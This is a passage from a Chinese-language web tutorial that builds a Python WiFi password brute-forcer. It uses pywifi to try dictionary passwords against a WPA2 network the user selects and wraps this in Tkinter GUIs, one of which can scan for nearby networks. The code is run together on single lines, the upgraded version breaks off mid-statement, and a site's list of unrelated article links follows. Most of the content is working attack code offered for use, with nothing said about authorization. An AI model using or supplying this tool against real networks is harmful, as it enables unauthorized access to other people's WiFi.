脚本运行效果如下:

文章插图
上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少 。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:

文章插图
图形化界面
下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具 。关于 Tkinter 库的语法可参见:Python GUI编程(Tkinter) 。
简单版UI
from tkinter import *from pywifi import constimport pywifiimport time# 主要步骤:# 1、获取第一个无线网卡# 2、断开所有的wifi# 3、读取密码本# 4、设置睡眠时间def wificonnect(str, wifiname):# 窗口无线对象wifi = pywifi.PyWiFi()# 抓取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的wifiifaces.disconnect()time.sleep(1)if ifaces.status() == const.IFACE_DISCONNECTED:# 创建wifi连接文件profile = pywifi.Profile()profile.ssid = wifiname# wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# wifi的密码profile.key = str# 网卡的开发profile.auth = const.AUTH_ALG_OPEN# 加密单元,这里需要写点加密单元否则无法连接profile.cipher = const.CIPHER_TYPE_CCMP# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设置新的连接文件tep_profile = ifaces.add_network_profile(profile)# 连接ifaces.connect(tep_profile)time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falsedef readPwd():# 获取wiif名称wifiname = entry.get().strip()path = r'./pwd.txt'file = open(path, 'r')while True:try:# 读取mystr = file.readline().strip()# 测试连接bool = wificonnect(mystr, wifiname)if bool:text.insert(END, '密码正确' + mystr)text.see(END)text.update()file.close()breakelse:text.insert(END, '密码错误' + mystr)text.see(END)text.update()except:continue# 创建窗口root = Tk()root.title('wifi破解')root.geometry('500x400')# 标签label = Label(root, text='输入要破解的WIFI名称:')# 定位label.grid()# 输入控件entry = Entry(root, font=('微软雅黑', 14))entry.grid(row=0, column=1)# 列表控件text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按钮button = Button(root, text='开始破解', width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 显示窗口root.mainloop() 脚本运行效果:

文章插图
UI升级版
以上图形界面未允许选择密码字典,下面进行优化升级:
from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog# 在Gui中打开文件浏览import tkinter.messagebox# 打开tkiner的消息提醒框class MY_GUI():def __init__(self, init_window_name):self.init_window_name = init_window_name# 密码文件路径self.get_value = https://www.isolves.com/it/cxkf/yy/Python/2022-09-02/StringVar()# 设置可变内容# 获取破解wifi账号self.get_wifi_value = StringVar()# 获取wifi密码self.get_wifimm_value = StringVar()# 抓取网卡接口self.wifi = pywifi.PyWiFi()# 抓取第一个无线网卡self.iface = self.wifi.interfaces()[0]# 测试链接断开所有链接self.iface.disconnect()time.sleep(1)# 休眠1秒# 测试网卡是否属于断开状态assert self.iface.status() in[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def __str__(self):# 自动会调用的函数,返回自身的网卡return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())# 设置窗口def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200')labelframe = LabelFrame(width=400, height=200, text="配置")# 框架,以下对象都是对于labelframe中添加的labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)# 定义树形结构与滚动条self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的标题self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4, column=0, sticky=NSEW)self.wifi_tree.bind("
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Java,Socket,实现Socket4代理服务器,客户端用Socket4代理请求
- Flet-基于Flutter的Python跨平台框架
- 7 款常用的 PostgreSQL GUI 工具测评
- 程序员做项目必用五大工具
- MySQL | 利用 Docker 快速搭建主从复制
- 在 node 中使用 jquery ajax
- 使用redisson实现分布式秒杀功能
- 使用SpringBatch读取csv文件
- win11右键菜单恢复到win10最简单的方法,不用重启电脑
- 单点登录CAS集成原理和应用验证
